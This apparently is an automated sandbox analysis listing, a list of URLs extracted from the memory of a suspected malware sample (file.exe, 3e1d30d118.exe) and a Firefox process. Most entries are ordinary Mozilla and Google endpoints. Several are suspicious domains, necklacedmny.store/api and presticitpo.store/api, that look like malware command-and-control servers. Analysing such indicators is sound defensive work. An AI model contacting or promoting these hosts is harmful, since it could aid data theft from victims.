Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: 3e1d30d118.exe, 0000000C.00000003.2927351090.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.sto
Source: 3e1d30d118.exe, 0000000C.00000003.2895825958.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 3e1d30d118.exe, 0000000A.00000003.2673131165.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2661041837.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/#
Source: file.exe, 00000000.00000003.1820322905.00000000015D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/:
Source: 3e1d30d118.exe, 0000000C.00000003.2914183575.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/A
Source: 3e1d30d118.exe, 0000000C.00000003.2874734726.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2875692021.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2879394897.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2876541093.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/D
Source: 3e1d30d118.exe, 0000000A.00000003.2706244384.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2705939782.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/S
Source: file.exe, file.exe, 00000000.00000003.1785316904.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1877218261.00000000015ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774587849.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1775172981.00000000015E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747334776.00000000015FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774623147.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1775205316.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785298949.00000000015E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747654911.00000000015FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747049719.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 3e1d30d118.exe, 0000000A.00000003.2790263600.0000000000C92000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2680726899.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2706156430.0000000000C91000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2614178964.00000000058DE000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2615075476.00000000058DE000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2705592376.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2705939782.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2617592144.00000000058E0000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2680588495.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.1877218261.00000000015ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api7M
Source: 3e1d30d118.exe, 0000000C.00000003.2935381139.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api_v.~
Source: file.exe, 00000000.00000003.1763850776.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774587849.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1775172981.00000000015E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774623147.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1775205316.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1763881819.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1763579937.00000000015E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apichh
Source: 3e1d30d118.exe, 0000000C.00000003.2873733468.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apieta
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2874734726.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apif~
Source: 3e1d30d118.exe, 0000000A.00000003.2790263600.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/k
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiH
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiK
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/api
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/rambler-authenticator.js
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/rambler-authenticator.jsabout-compat/aboutPage.js/shims/mochit
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comhttps://addons.mozilla.orgcreateContentPrincipalFromOriginnetwork.pro
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelhttps://static.adsafeprotected.com/firefox-etp-j
Source: file.exe, 00000000.00000003.1714992313.0000000005E00000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599576882.0000000005930000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773738505.00000000056AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2960831661.0000022980165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/DownloadIntegration.sys.mjs
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1714992313.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599679651.0000000005927000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599576882.000000000592E000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773738505.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773911978.00000000056A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 3e1d30d118.exe, 0000000A.00000003.2599679651.0000000005902000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773911978.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1714992313.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599679651.0000000005927000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599576882.000000000592E000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773738505.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773911978.00000000056A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 3e1d30d118.exe, 0000000A.00000003.2599679651.0000000005902000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773911978.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CCE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.comhttps://monitor.firefox.comupgradeTabsProgressListener_migrateXULStore
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
